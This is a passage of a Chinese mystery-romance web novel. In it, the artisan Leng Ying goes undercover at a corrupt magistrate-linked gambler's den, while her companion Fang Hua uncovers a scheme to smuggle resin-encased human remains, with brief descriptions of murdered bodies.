“我自有判断,无须周娘子指引。我可以答应你去调查沈无尽,但杀人之事我断不会做。坏人做了坏事,自然会有律法处置。”她知道自己想法迂腐,但这是她的原则。 若普通老百姓每每遇见法外之事,皆想凭自身微薄之力,不顾后果如何,艰难应对解决。 且不谈公平公正这些。 就按自私些的想法来讲,百姓不将这些事情上报给相关官员处理,每年的赋税不也都白交了? 届时天下民怨沸腾,官员欲究其因又无从下手,终致百姓人财俱损,陷入水深火热的境地。 第五十二章 琥珀藏(19) 见她态度坚决,周娘子好似也暗自做了妥协。 垂首思虑良久,最终才抬头对冷萤道:“只要你能顺利接近他,余下的事情我来想办法。” “你想做什么?”冷萤问道。 周娘子妩媚一笑,摸了摸耳下的纱布,“这就不劳冷小姐操心了。你心如皓月,行事从不偏颇。但我遇到想做的事,不仅心狠手辣,且……” 停顿片刻,她轻轻开口道:“……不择手段!” 盯着已经移开视线的周娘子,冷萤心里却想着,她不会……是在讽刺自己吧? 也是,这世间人各有心、心各有见,她不能要求人人想法都一样。 “云清泠的阮琴在我手中,明日我便去赌场。”冷萤不再多说,用行动告诉对方这件事情她接下了。 应下这件事,除了想早日见到自己的同伴,也是想去会会那位臭名昭著的沈公子。 既然已经决定参与此事,她至少可以在自己有限的能力范围内,将所有暗藏的腌臜事揪出。 “插上这只琥珀发簪,一旦进入赌场,自会有人接应你。”周娘子点头同意,并告诉她该如何行动。 冷萤微微皱眉,问道:“赌场也有你们自己的人?” 冷哼一声,周娘子回她:“沈无尽残害之人那么多,找几个同仇敌忾的人又有何难。只是,此人生性狡诈,从不轻易相信他人。我们安排过去的人,全都无法近距离接触到他罢了。” “懂了。”冷萤明白了她的意思。 “所以冷小姐,此事是否成功就看你的本事了。”周娘子说这句话时,神态虽从容,但语气里的一丝不确定还是被冷萤给捕捉到了。 “我尽量。”冷萤含蓄回道。 还未正式见到那位沈无尽,她不敢有任何的保证。袖口动了动,冷萤正在思考接下来的行动,下意识转头。 被两人遗忘许久的姜小四,正表情复杂地盯着她缓缓摇头。见她看了过来,他抬手洒下一句话。 (别去,很危险。) “没事的,谢谢你的关心。”此时的她,对这位少年有点愧疚,毕竟方才好像是冤枉了他。 于是在回答对方时,语气不由自主地和缓了一些。 姜小四似乎很不满意她的回答,但对她又无可奈何,只好将眼神转向周娘子。 (你这是让她去送死。) “她自己同意的,你劝她啊。”周娘子耸耸肩,对少年道。 一句话,姜小四的脸彻底暗了下来。他眼神极具攻击力地看着周娘子,嘴里发出了几声怪调,与方才冷萤听见的略有不同。 正当她好奇地看过去时,却看见方才那片墨金色的蜂群去而复返。 只是这次它们攻击的对象,似乎不再是她,而是两人对面的周娘子。 见他居然下死手,周娘子原本闲适的表情蓦然一变,沉下脸色道:“姜小四,你是想让你的这些宝贝飞虫,通通死光吗?” 一旁的冷萤看着剑拔弩张的两人,选择抓住姜小四操控蜂群的胳膊,道:“我知你担心有危险,但昌县毒瘤一日不割,所有百姓都无法好过。你想见到有人继续受他迫害吗?” 她的话,姜小四似乎听进了耳朵里。 只见少年偷瞧她一眼,转过的头点了点,随即发出了她先前听过的声响。 蜂群瞬间消失,冷萤也暗自松了口气。 说来,她与姜小四其实也算不得熟悉。但对方好似……一直在试图保护自己。 只是因为上次帮他修复了那条璎珞吗?这对自己来说根本不算什么,不过是看不过眼顺手为之罢了。 她低声道:“对不起,方才误会了你。你的脖子……”她仔细瞧了瞧,看见对方的脖颈处有轻微的划伤。 于是,更加愧疚了。 (不疼的,你方才是太着急了。) “呃……” 没想到他竟如此善解人意,直接为自己找好了说辞。 “你家还有破损的螺钿饰品吗?如果我能安全回来,定会帮你全都修复好。“她没什么能表达自己歉意的方式,唯有一些手艺活能拿得出手。 听了她说的,姜小四摇摇头,洒粉。 (我会与你一同去。) “不可!”冷萤看清他写的,直接开口拒绝。 但对方紧抿双唇,眼神异常坚定地看向她,表现出的态度压根容不下冷萤的拒绝。 “让他跟着你去吧。他不会露面的,只会在暗中保护。”沉默片刻的周娘子,也开口劝道。 随之,她促狭道:“我只是请求冷小姐的帮忙,可不是真想让你去送死。” 见对方态度逐渐坦诚,冷萤也不好再说什么。 她刚到昌县,方骅与珊瑚现下的情况,似乎也无法与她同行。 她虽不至于让自己置身于太危险的境地,但此去本就生死难料,有个熟悉昌县的人在身边陪着,总好过她一个人到处瞎闯。 “那好吧……”只是,这少年似乎有点愣头愣脑的模样,有些话她还是得提早交代:“如果遇到危险,不要擅自做决定,先逃为上。” 姜小四看着冷萤,随意点了点头,也不知有没有听进去她的话。 还有一件事情。 “周娘子,我的同伴留在这里,不会遇到什么危险吧?”她问得含蓄,但对方应该懂她的意思。 果然,对方抚了抚腰间的裙摆,不甚在意道:“放心。冷小姐既已答应了我,我必会妥善安排好他们。况且,他们都有各自要见的人,完全不用你为他们操心。” 各自要见的人? “是谁?”冷萤思考许久后,问了句。 见她表情迷茫,一直站在原地的周娘子,抬着轻巧的步伐朝冷萤走来。 直到与她贴得极为亲近,近到让冷萤有些不自在,想后退拉开两人之间的距离时。 对方伸手抓住她的胳膊,一把将旁边的姜小四轻轻推开。 用两人才能听见的声音说道:“冷小姐,我见你行事并不糊涂,但身边之人有异,却为何从未发现过端倪呢?” “你什么意思?”冷萤不确定对方是不是在使离间计,但她从不相信自己未亲眼见过的事。 何况她离间的,还是与自己一路走来,救了她不止一命的同伴。 第五十三章 琥珀藏(20) 方骅静静坐在黑暗的房间里,一动不动。 从方才醒过来的那一刻,他便意识到自己身处之地有异,并顺便挣脱了捆住他身体的绳索。 不知将他抓来的人怎么想的,会以为这么细的一根绳索就可以控制住他。 获得自由后,他立刻就想起身出去找冷萤。 他们一同进入聆音阁,他记得失去意识前自己是跟在冷萤身后的。 但现在的情况很明显,他们遭到了伏击,问题应该就出在庭院那些令人烦躁的雾气中。 然后不知被谁抓到了这里。 自己习武,还遭遇迷晕被捆绑的待遇,冷萤她一个手无缚鸡之力的女子,也不知会碰到怎样的危险? 想到这里方骅坐不住了,他迅速打量了一下困住自己的房间,锁定房门快速走了过去。 却在刚走到门边时,听到门外有两个男人的说话声。 隔着一扇门,门这边沉黯如夜,门外昏黄的烛火跳动着。 他本想不管不顾直接闯出去,任凭外面多少人,对他来说都不在话下。 直到,他听见其中一个人说了句。 “宝贝送去永江府了吗?”问话的男子声音很低沉,但以方骅的听力,完全可以听得清清楚楚。 “送去了一批,他们答应会尽快运送到西域。”回话的那个人,方骅听出了是谁。 是那位刚与他们见过面的,昌县县丞张志。 方骅转身靠墙,低头沉思的表情很复杂。 他将双手举至嘴边,随意咬下还捆着双手的绳子,随后闪身到另一边,以便更加清晰地听见两人的对话。 “换回来的东西,你知道该怎么处理。”方才问话的男子又开口。 那人语气倨傲,在两人之间应属上位者,方骅冷静听着,心里猜到。 “在下知道。”果然,张志语带卑微地回了句。 送过去的宝贝是什么?换回来的又是什么? 中间,怎么还与西域扯上了关系? 两个人,四句话,透露出的只言片语却让方骅百思不得其解。 直到那个人好像站起了身,方骅从门缝朝外望去,发现只能看见对方的背影。 自始至终,都是张志正面坐着,朝向方骅所在的这扇门。 背对他的那人在走出去时,留下了一句话:“有空去一下沈无尽那里,让他动作快点!” “是……”张志微微弯腰,将那人送出了门。 关上房门的他,站在原地不知想些什么,并未立即转身。 无意间得知张志的秘密,似乎还牵扯上了永江府,方骅随即做出选择。 ……继续装晕。 所以,在张志转身朝他所在的这房间走来时,他又将自己捆了回去。 坐回原处,闭上双眼。 然后感觉房门被推开,一个人站在了他的面前。 “别装了,你应该都听清了吧?” 谁能料到,张志站在方骅面前许久后,默默说出了一句让他无法再继续装晕的话。 下一瞬,方骅漆黑如墨的双眼睁开,平静无波地抬头看向张志。 “装的人,好像一直都是张兄吧?” 他意有所指,他心知肚明。其实问出这句话的方骅,内心也颇为忐忑。 张志明知他在房间中,却毫无顾忌地与对方谈着如此重要的秘事。到底是没把自己放在眼里,还是故意而为之? 不过,看目前对方的态度,更像是后者。 见张志动手点亮烛台转身关上门,再坐回方骅旁边,拿起桌上的茶壶为他倒了一杯热茶。 看着桌上冒着热气的茶水,方骅也不再假装,抖肩让捆在身上的绳子滑落,再双手一扭将腕上的绳子脱开。 拿起桌上的茶水浅尝一口:“好茶,张兄特意为我准备的?” 对面的人未应声,只是很轻地点了点头。 “阿骅,你知道昌县什么最珍贵吗?”在方骅喝下第二口茶时,张志开口了。 放下手中的茶杯,方骅轻笑道“张兄到昌县任职数载,却将这般简单的问题抛给一个初来乍到的外人,是为何意?” 对于他的揶揄,张志并未立即回应,而是静默许久道:“冷掌柜那日见到的古琴,便是由昌县的杉树老木制作而成。” 见对方因为自己提起冷萤而微微皱眉发愣,张志眨了眨眼似乎一下子明白了什么,忙开口道:“说起冷掌柜,她目前一切都好,阿骅不必担心。” 见被人看出内心的想法,方骅轻咳一声:“也不是担心,她倒是能自己处理好。只是……” 对方耐心等待他的下半句。 “她人现在在哪?”方骅还是没忍住,问出了声。 见他哪里是不担心的样子,张志尽量控制住自己的表情,以免引起对方的恼怒,“如果方兄耐心听我说下去,不久便可见到冷掌柜了。” 他不容拒绝且严肃的说话方式,让方骅收回了心神,开口道:“张兄请继续。” “因为地质原因,昌县的杉树木质轻柔,纹理细密顺直,极适合用来斫琴。所以,也连带着此地琴市繁荣,各类琴器琳琅满目。”张志与他说着昌县几乎人人都知道的事。 昌县曾经琴声满城,方骅也听说过的。只是,他们初到昌县的感觉,却与听说的极为不一样。 明明他们来时…… “我们自从到达昌县,似乎就瞧见过一家琴室。”他说的,便是黄掌柜的琴室。 张志毫无波动的双眼,静静看着他,开口:“如果不是我拼命保下,黄掌柜的这间琴室也早已闭肆。” 方骅讶异抬眼。 “这到底是因为什么原因?”他开口问道,总觉得张志似乎还有许多事情未讲明。 似乎早就在等他问出这句话,张志立刻站起身走到书柜旁,从暗处的木匣里掏出一块东西递给方骅。 举起手中浅黄色块状物,发觉这东西看起来澄澈干净,但捏起来并不很坚硬,方骅开口问道:“这是琥珀?” “这是树脂。”张志替他解惑:“杉树身上割下来的树脂。” “那又怎么……”方骅不懂这些,对他来说看起来都差不多。 见他不解,张志解释道:“我刚看见这些时,反应也与你一样。如果是冷掌柜,她一眼便能瞧出不对,但你我二人皆是外行,极难分辨这两物的区别。” “有何所谓。”方骅倒是不甚在意。 对方苦笑说道:“我曾经也是这么想的。直到……我发现昌县的杉树正在因为遭受虫害而大面积死亡。” 眉心轻皱,方骅发现了他话中的蹊跷,既然都已经特意提起,那…… “应该不是虫害,而是‘人’害吧?”方骅突然想到了,他们在陵县遭遇的一切。 见对方读懂了自己话中的意思,张志正想进一步对他讲明,此时的门外传来了敲门声。 他让方骅注意躲避,自己则走出内室去开门。 没想到刚一开门,满身是血的黄二斤便直直朝他倒了过来。 第五十四章 琥珀藏(21) “黄掌柜,你怎么了?” 张志扶住朝他倒下的身体,用手探了探对方鼻息,才发现早已没了呼吸,“怎么会这样……”他被吓到心胆俱裂。 房门大开,外面是漆黑的内院,地上没有任何一人的影子,说明门外此时并未有人。 那早已死去的黄二斤,又是如何出现在他门外的?还有那几声干净利落的敲门声,又出自谁的手? “这是怎么回事?”方骅察觉到门口有异样,刚走过来便赫然瞧见地上的一具血尸,和早已方寸大乱的张志。 “这是警告,绝对是对我的警告!”张志没了理智,见方骅过来,抓着他大声重复着。 方骅早就想抓出背后作怪之人,转身便冲出去想找出罪魁祸首。 站在门外,他犀利的双眼不停扫视内院,特别是房门两侧一切有可能藏人的地方,却忽略了身后的屋顶。 屋檐下,也有一具尸体,要坠不坠的挂在那里。 只要方骅往后退哪怕一步,夜风再大一些,那具尸体也许就会直接砸在他的头顶上。 发现院子里并没有任何人来过的痕迹,方骅的心也未有半点放松,反而是越发警惕了。 他转身想着,到底是谁,能这般毫无顾忌地将一具尸体悄无声息送过来,一滴液体自他眼前滴落。 抬头一看,挂在檐下的尸体便直直撞进他眼里。 眉心微皱,方骅将手中的折扇丢出,泛着暗光的折扇在夜空中划过一道五彩暗影,随后割断了绑着尸体的绳索。 他抢先一步拉下断裂的绳子,用绳子圈住下落的尸体控制缓冲的力量,尽量让尸体能平缓落地。 屋里的张志听见动静冲了出来,恰好尸体就落在了他的身前。 “刘百两?”他因为太过激动,身体都有些虚脱。 内院的动静终于惊动了张志府上的下人,几名小厮跑了进来,看着突然出现的两具血尸,吓得连话都不敢多说。 “确定没有外人进府?”张志问他们。 “是啊大人,府里亥时便落了锁,小的们不敢说谎。”其中一名小厮答道。 “下去吧,嘴巴都闭紧些。”他警告一声。 等所有下人都离开内院,方骅才蹲身检查两具尸体的情况。 仔细看,才发现黄二斤的双眼被挖走,刘百两则是十指被砍掉。两人胸前均破了个大洞,里面的脏器早已不完整。 “他们是活生生受了这些折磨后,才被一刀毙命。”方骅站起身,对瘫软在地的张志道。 将他一把拉进室内,关上房门,张志才颤着声音对他道:“阿骅,一定是沈无尽!他知道我背叛了他,所以才将我身边的人都杀掉,借此来警告我。” “那刘百两这个无任何关系之人为何也被杀了呢?”方骅拍拍他的肩安慰他,随即猜测:“难道,因为他之前也在琴室的原因?” “原来……”张志恍然大悟,颤抖着手指着他道:“一定是这个原因。那下一个被杀的……岂不就是我了?” 几年不见,张志的胆子突然变得这么小,从前在自己面前,他这位好友一直是沉稳而温和的。 这是他第一次看见对方如此失态。 以为是长期饱受沈无尽折磨的原因,方骅抬手安抚道:“张兄放心。他要杀也会先杀我们几个没有利用价值的外乡人,毕竟对他来说,我们在昌县无人依靠,下手方便。你嘛……” “应该会被留到最后。”他也只能这般安慰了。 听了他的安慰,张志的表情并未好转,他恐惧到无法控制自己颤抖的手,手中的热茶也不小心洒在了身上。 “区区一个从九品官员之子,怎会让你怕成这样?张兄,你是不是还有重要之事未与小弟明说?还有,方才与你谈话的人,到底是谁?” 他一连问了好几句,每问出一句,张志的表情就越发恐惧一分。 见对方嘴唇动了好几次,也未成功说出一个字,方骅再次开口问道:“你先说,与你谈话的那人是谁?” “他叫杜桂风,永江人士,龙腾商帮成员之一。”他不再隐瞒,说出那人的身份。 “我朝十大商帮之首的龙腾商帮?”淡定如方骅,这次也不免有些吃惊。 他虽未与龙腾商帮里的人接触过,但关于龙腾商帮的传说,他倒是听过不少。 该商帮始于古朝,兴于当朝,经商涉及纸、书、珠宝。尤其是珠宝,更是盛及当朝。 在赚取足够的银钱后,他们不畏艰辛,远涉西南,成功打开通往西域的道路,成为首个与西域合作的当朝商帮。 “方兄身在昌县,为何会与龙腾商帮的人有关联?”他很是不解地问道。 虽说商人走南闯北是常事,但昌县其实不属于龙腾商帮的覆盖之地。 “因为……”张志脸色陡然煞白,踌躇着不敢回答。 见他这副模样,方骅还有什么不懂的,他凉着嗓音问道:“你果然有事瞒着我。我方才听那个叫杜桂风的说,你现在是在帮他们私自运货?” 张志抬起头眼睛却不敢看他,脑袋似点非点地胡乱动了下。 “运什么货?”方骅只觉眼前之人又陌生了起来。 脑袋仿佛有千斤重,张志慢慢垂下头,过了好久才开口:“树脂,还有……” 极慢的速度抬起头,他语气沉重地看着对方不敢相信的眼神,“那些用树脂包裹着的五体和脏器。” “居然敢运送这些,张兄也是有能耐了。”方骅讽刺一句,随后想起什么问道:“不是琥珀吗?” 张志表情懊悔道:“你们在琴室瞧见的确是琥珀,但哪有这么多天然形成的琥珀拿来复作。于是,沈无尽为了哄买家开心,便召集手下大量采割杉树,强取树脂。” “这就是杉树大量病死的原因?”方骅总算是懂了,不过…… “你说的‘买家’,不会发现有问题吗?” 摇头苦笑,张志道:“他们想观赏的哪里是真正的琥珀,只是想透过朦胧厚重的光泽,去观赏他们想看到的东西罢了。外面裹着的,是百年自然形成的琥珀,还是昨日刚割下的树脂,对他们来说并无任何影响。” “买家是谁?”方骅见他如此了解买家心思,想必应该接触过很多次了。 第五十五章 琥珀藏(22) 看了一眼方骅沉黯的目光,张志瞳孔微微紧缩,低下头道:“我也不知,沈无尽只是让我与杜桂风联系,其余的一概都瞒着我。” 他话音刚落,方骅倏地站起身,逼近他开口道:“你果然是骗了我。” 被他犀利的眼神吓住,张志微微站起身,再次开口道:“阿骅,我对不起你的信任。你在琴室里怀疑的没错,我没有把持住自己,做了沈无尽的走狗。” 方骅深感痛心,难以置信道:“你好好一个昌县县丞,为何要选择与他们同流合污?” 他的问话,终于让张志彻底软下了身子,他弯腰撑着桌面痛声道:“清莲陷泥潭,不染亦难全。阿骅啊,我实在是没有别的路可走了。” 真的没有别的路走吗?还是对于与那些人抗衡来说,他保全自身来得更为妥帖一些?方骅失望地想着。 “既然如此,又为何故意让我听到这些?”方骅问道。 张志缓缓道:“自你踏入昌县起,我就知道自己的机会来了。我不想再助纣为虐,自毁前程。那日,我试探你并不为了任何人,而是想给自己找好一条后路。” 看着对方不再清澈的双眼,方骅咬牙开口:“你早已自毁了前程,官员该做什么不该做什么,我们曾日日夜夜顾不上用饭,也要坐在一起争论个结果出来。现在一看,你往日所论竟全是虚言。” “并不全是虚言。你为何不站在我的角度,想想我的难处?”张志被方骅说得一张脸通红,憋了半天硬是憋出了一句话。 “虎狼在侧、寸步难行,我能理解。遇到那些别有用心的人,你找不到好的对策将对方绳之以法,我也能感同身受。但不该做的事,不该碰的物,你怎么都不应该越界。”方骅见他只是内心感到害怕了,根本就没有醒悟。 于是,继续道:“你在事情发生时,放不下那些虚名破釜沉舟。现在找到我,究竟是因为害怕此事渐渐闹大扯出自身,还是真心想要改过自新?” “我……”张志被他说得哑口无言,随后小声道:“以前他们只是让我帮忙将货送出城,我尚且能欺上瞒下应付一下。如今,沈无尽居然胆大到,想以最低价收了昌县的杉树林。他一旦做下这件事,昌县以后便再也没有能力产出任何琴器了。” 方骅终于懂了,张志为何如此着急与他碰面,还以这种偷偷摸摸的方式。 原来,这人没有能力再继续控制亲手滋养长大的虎,所以只好扮演起受害者,请求他这个外援帮助。 “再问一遍,陵县之事,你真的未曾参与过?”方骅怀疑地看向他,问道。 杯里的热茶渐渐变凉,张志用还残留着黄二斤与刘百两血迹的手,拿起茶杯喝了一口。 手上的血迹留在杯身上,让白瓷杯看起来脏污斑驳。 “我知道陵县发生的事情,但从未参与过,不知阿骅你可否相信?”张志说这话时,并未有之前的那些心虚逃避。 “你这样,让我如何再相信你?”方骅闭闭眼,终于彻底失望了。 他发现,张志这人走到了如今的地步,居然还在对自己说谎。 “五日后,我要去沈无尽仓库运货,那里面放的东西绝对会让你大吃一惊。”见他对自己不再信任,张志连忙亮出自己的底牌。 “你这样做,就不怕沈无尽再派人来杀了你?”方骅指了指门外的两具尸体。 张志见他态度有软化的迹象,忙道:“当然不怕。我以前做下太多错事,现下只想找到机会揭发他们,揪出幕后之人,让昌县早日恢复平静。” 听他一番话说得如此磊落光明,方骅并未有任何动容。他微微抬起眼皮,看向曾经的好友一副信誓旦旦的模样,眸里平静无波。 “阿骅,请你再相信兄长一次。我保证,这次带你捣毁沈无尽老窝后,就去知县那将自己所做的事全盘托出。”他殷切地看着对方,一再保证着。 见他就差举手起誓了,方骅坐回桌面,摆弄着手中的茶杯,开口寒暄道:“几年不见伯父和伯母,不知他们如今身体可好?” 张志明显松了口气,以为方骅已不再与自己计较,默默以极快的速度擦了下额头的细汗,才选择坐下来,嘴角微微上扬道:“家中有数亩田地,家父家母留在故土以便照料,多谢阿骅关心了。” 微微点了点头,方骅又开口道:“我记得,张兄似乎还未成婚,何时准备请小弟喝酒?” 听闻此话的张志微微诧异,但见对方姿态闲散,一副话家常的架势,他微微放下了心,堆着笑忙答道:“长辈催婚心切,然而为兄离家多年力有未逮,故而至今还未寻得良配。” “那真是可惜了。”方骅心不在焉地回了句。 见自己终于取得对方信任,张志如释重负地干笑了一声,再次开口:“阿骅就放心在为兄这里住下,等待几日我们就行动,你看如何?” “甚好。”他点头同意。 见他二话不说同意,张志坐了一会儿便起身唤人将黄二斤与刘百两的尸体搬走,然后喊来两名下人,让他们好生照顾方骅起居,这才告辞离开。 看见张志远去的背影,又将目光转向门外站着的两名下人,方骅轻笑一声开始在房中悠闲踱步。 这间房说是用来安置他,但除了漱具与盥盆外,空空如也。房间很大,但什么摆设都没有,整体看起来空旷又突兀。 地上有移动过重物的痕迹,旁边还有拖拽物品的灰痕。这说明,在自己到来之前,这个房间已经很久无人打扫使用过了。 外面院子他方才出去时也仔细观察过,地上的残枝和枯萎的花丛,也已许久未打理。 无人打理的院落,加上一间很久没有人居住的厢房,自己又是偷偷被张志带进府里的。 那又是什么人,会清楚知道张志将他带到此地。 然后,将两具尸体准确投送到这府里最荒芜的院落中呢? 第五十六章 琥珀藏(23) 昌县,金珀赌坊内。 一抹银朱色的身影,抱着一把螺钿镶嵌的紫檀阮琴,莲步轻移至台上款款而坐。 女子金丝绣边的裙摆处流苏轻摇,额间的五彩花钿将她衬得肌肤胜雪。 虽说衣着艳丽,但她发间只用了一根不太起眼的琥珀簪子,松散盘着半扎青丝,其余的头发则齐腰落在身后。 坐下后,她露在面纱外的双眼,于赌场内环视一圈,在看到某一处时,眼瞳微动。 随即,她垂首轻拨,琴声缓缓低吟。可惜的是这清雅之乐,并未引起台下那些已经红了眼的赌徒们注意。 倒是整家赌坊的角落,一位被众人簇拥着的男人,默默将目光投到琴台上。 他左手接过下人递来的清茶,右手则随意拿着一串温润如玉、品质上乘的琥珀手串把玩着。 手串上挂着一小块白色的东西,形状看上去有些奇怪。 “新来的?”他盯着台上,头也没回地问身边人。 身旁的人顺着他的目光看过去,随后垂头弯腰道:“春娘子介绍的,当初那云清泠怎么请都不愿意过来……”说到这里,他小心翼翼地闭嘴瞧了男人一眼。 见对方神色未变,才又继续道:“这冷秋儿是春娘子的远房表妹,琴艺出色、长相也佳。只因家有变故,才到昌县来投奔表姐的。” 矜贵男子未开口,双眼微眯瞧着台上的女子,嘴角似有若无地轻轻扬起。 正在弹奏阮琴的冷萤,明显感觉有道视线一直黏在自己身上。而视线传来之处,正是她方才锁定之地。 看来……鱼儿要上钩了! 赌场中人声鼎沸,冷萤未受台下那些人的影响,浅笑着手指微微一转,换了另外一首琴曲。 那琴曲前奏一出,坐在角落处的男子原本悠闲把玩琥珀手串的手,倏地一紧。因为享受琴声而微眯的眼睛里,猛地闪过一抹精光。 不动声色地将手中的茶递还下人,他站起身慢步朝位于赌场中间的琴台走去。 冷萤见对方朝自己走来,未动声色地继续拨弄琴弦,只是无意将头放低了些,露出发间若隐若现的那根发簪。 男子站在台下,左手背在身后,右手继续把玩着琥珀手串,看向冷萤的目光比之方才又增添了一丝兴味。 一曲渐缓,冷萤右指轻柔拂动琴弦后,尾音落下。 她站起身低着头行完礼,随后抱着阮琴朝后台走去。一步、二步……似乎在等待着什么,她走得格外地慢。 “冷姑娘,稍等!” 身后的嗓音,穿过嘈杂的人声传进她的耳中,冷萤的嘴角略微轻扬,随即强撇下嘴角,将眉目间的凄苦挤出后,优雅转身。 她微皱着眉,双眼貌似不敢直视台下的人,侧身屈膝道:“公子唤住奴家,不知有何事?” 男子身边的下人堆着笑走上前,对她恭敬道:“冷姑娘指尖生花,琴艺高超。我家公子听之不忘、一见如故。想问姑娘可否赏脸,到楼上饮一杯清茶,小叙片刻?” 冷萤听了下人的话,双眸飞快瞧了旁边男子一眼,柔声开口道:“秋儿多谢公子赞赏,实在愧不敢当。请问公子……贵姓尊名?” 男子五官深邃,浓眉大眼,锐利的双眼直勾勾地盯着冷萤,半晌后开口道:“沈无尽。” 他身边的下人忙对冷萤介绍:“沈老板乃是这家赌坊的老板,不知春娘子有无对姑娘提起过。” 冷萤听罢,假装吃了一惊,再次盈盈一拜道:“秋儿糊涂,竟不识东家尊颜,实乃万分失礼。” 沈无尽见冷萤被他的身份吓得不敢起身,单手将她微微扶起,开玩笑道:“沈某不会吃人的,冷姑娘可尽管放心。” 见他态度和蔼,冷萤装作长舒一口气,随即偷瞧他一眼,“多谢沈公子不计较秋儿鲁莽。” 待冷萤站定,沈无尽极为有礼地收回扶着她的手,盯着她双眼道:“那冷姑娘可愿意给沈某一个面子,上楼小坐一番?” “当然。”冷萤微微垂首,状若害羞道。 见她同意,沈无尽点点头率先上楼。冷萤在下人的指引下,一只脚刚踏上阶梯,余光却瞟见角落处有道熟悉的身影。 对方一身黑衣装扮低调,淹没在一众疯狂下注的人之间。若不是冷萤对他身姿已逐渐熟悉,根本无法在熙熙攘攘的人群中认出他。 方骅被身边情绪激动的赌徒撞来撞去,身子皆岿然不动。见冷萤终于发现了自己,他冷着面,用一张臭脸表达了对她行为的不理解。 朝他眨了下眼,示意他不要轻举妄动后,冷萤这才放心抬步朝楼上走去。 而方骅在冷萤上楼后,便顺着人群悄然走出了赌坊。 楼上雅室 冷萤噙着浅笑坐到沈无尽身边。 “冷姑娘不准备摘下面纱吗?”对方打量了她好一会儿,才问道。 虽然这沈无尽未瞧见过自己的长相,但在琴室门前时,他们几人没少出风头。避免被发现,她得誓死守住脸上的面纱。 想到这里,她眼神微微一晃,一颗眼珠就顺着她的眼角没入面纱,“秋儿不敢违抗沈老板的命令,实是有难言之隐,故而才不敢揭下面纱的。” 说完,她又假意拭了拭眼角的濡湿,神情显得格外凄楚。 或许是她的柔软,引起了身旁男子的怜惜。他将琥珀手串放到桌面上,亲自起身为冷萤倒了一杯清茶。 双手接过茶,冷萤正准备点头致谢,目光却无意扫到男子放在桌面的琥珀手串,面纱后的面容蓦地一僵。 她心神恍惚地喝了一口茶,再次趁对方不注意瞧了那手串一眼。 果然,她没有看错。沈无尽的琥珀手串下挂着的,居然是一截人骨。 看颜色,那截人骨似乎被他随身把玩许久了,看起来莹润光滑,远瞧竟像一块上好的玉。 冷萤实在想不通,到底是怎样变态的人,才会随身挂着一截人骨。 而那截人骨,又是从谁的身上,以怎样的方式取下来的呢?想到这里,她恨不得此时就将对面的人拿下,问个清楚。 可惜,自己目前的确没那么大的本事,所以只能须须图之,寻找合适的机会。 沈无尽见她一直没有开口说话,眉头又紧紧皱着,以为她是想到了难过的事情,开口问道:“冷姑娘是遇见什么难事了吗?可方便同沈某说说?” 第五十七章 琥珀藏(24) “秋儿……” 冷萤欲言又止,心里却快速盘算着,该找个什么借口让沈无尽将自己带回府。 她在赌坊等了两日,才等到沈无尽来此。如若不抓住这次机会,下一次又不知要等上几日。 想到这里,她心一横、手一抬,细细啜泣了起来。 她努力夹着嗓子,就在即将憋不住快要咳出来时,对方终于开口了:“冷姑娘,若是有人欺负你,可尽管告诉沈某。沈某别的本事没有,让一个人消失的能力还是有的。” 冷萤翘着兰花指,一边维持可怜兮兮的样子,一边想自己居然可以装得如此得心应手,看来是有一定的天赋在的。 顺便还不忘在心里吐槽对面的男人。 他还没本事呢?再这样下去,整个昌县都要跟着他姓了。都坏成这样了,咋连个谦虚都装不会呢? “和别人没有关系……”忍住呕意,冷萤尽量放低自己的声音:“是秋儿自身的原因。” 见她楚楚可怜的模样,沈无尽不知是真怜惜还是故作姿态,猛地一拍桌子,将冷萤吓得微微一顿。 他皱着眉头道:“秋儿姑娘不必这般小心翼翼,你我既已成知音,沈某必当为你出了这口气不可!” 她悄悄抬眼看过去,发现对方并不是发现了什么,暗自松了一口气道:“沈老板误会了。是秋儿初来昌县,如今借住在表姐家中。看着表姐一家相敬如宾,又想起自己在家时被打得鼻青脸肿……呜……” 沈无尽静静等她说完,一双狭长的眸子将她上下打量了一番,最后视线定格在冷萤的发顶,随后突然端起茶杯喝了一口。 见对方并没有着急回自己的话,冷萤硬生生挤出两滴眼泪,想着对面怎么还没反应,她是不是表现得太明显了? 好累啊…… 骗人真的好难,骗心眼多的人更难! 正当她盘算着,万一被沈无尽发现了,自己该从哪条路线逃跑时。 打量她好久的男人,总算是开了口:“不如……秋儿姑娘暂住沈某府中吧?” 嗯? 已经打定主意准备逃跑的冷萤,被对方如此直白的邀请方式给吓到了。 虽然是达到了自己的目的,但沈无尽如此随意的态度,倒让她有了一丝不确定。 他……真的没有发现什么吗? 见她愣住,沈无尽眼中闪过一丝难以察觉的神色,态度却很是殷勤道:“秋儿姑娘不要误会,沈某并不是什么登徒子。实乃家中老父酷爱阮琴音,若姑娘肯赏脸,实是吾家之幸事。” “这……”冷萤本想直接答应,又怕太主动让对方生疑。 见她心有疑虑,沈无尽站起身实实在在行了一礼,给足了她面子,“请秋儿姑娘给沈某一个面子罢。” 她这要再不答应,只怕好时机要飞走了。 冷萤故作为难地垂首想了想,随后福了福身道:“那秋儿这段时日,就要麻烦沈老板了。” 沈无尽大笑一声,伸手扶起冷萤道:“此乃沈某荣幸。”说完,他收回的手自然垂下,两根手指互相慢慢搓了搓。 冷萤借口去春娘子家收拾细软,下了楼。 在经过一条巷子时,她前后左右瞧了瞧,在无人看见时闪身晃了进去。 一走进巷子,冷萤便看见方骅抱着双臂,背靠着墙壁,低头耐心等待着。 见她进来,他看过去的目光微微一动,嘴上说着:“还怕你没注意到我留的暗号。” 冷萤淡笑一声:“你能想到用螺钿粉传递消息,不枉费我辛苦研磨许久。喏,再送你一盒!”说完,丢了个精致的小盒子过去。 毫不客气地接过对方丢过来的一整盒螺钿粉,方骅勾了勾嘴角,心里却有些不是滋味道:“张志告知我你在赌坊,若我不来寻你,你是不是压根没准备与我联系?” 轻轻点头,她理所当然道:“答对了,不能太快暴露我们认识。反正此事你也帮不上忙,我原本想告诉珊瑚一声,一时又联系不上她,想想也就算了。” “帮不上忙?”听了她的回答,方骅缄默片刻后,突然气愤道:“也就算了?” “对啊。沈无尽又不喜欢男的,告诉你也没什么用。”冷萤见方骅表情很是不好看,连忙解释道:“我本想着,等找到他做的那些恶事后,再与你联系的。” 她的声音越说越小,因为发现自己越解释,对方的表情越是难看。 “你怎么了?”见对方半天不说一句话,她很是好奇地开口问道。 紧捏手中的螺钿粉盒,方骅咬牙切齿道:“这就是你的解释?” 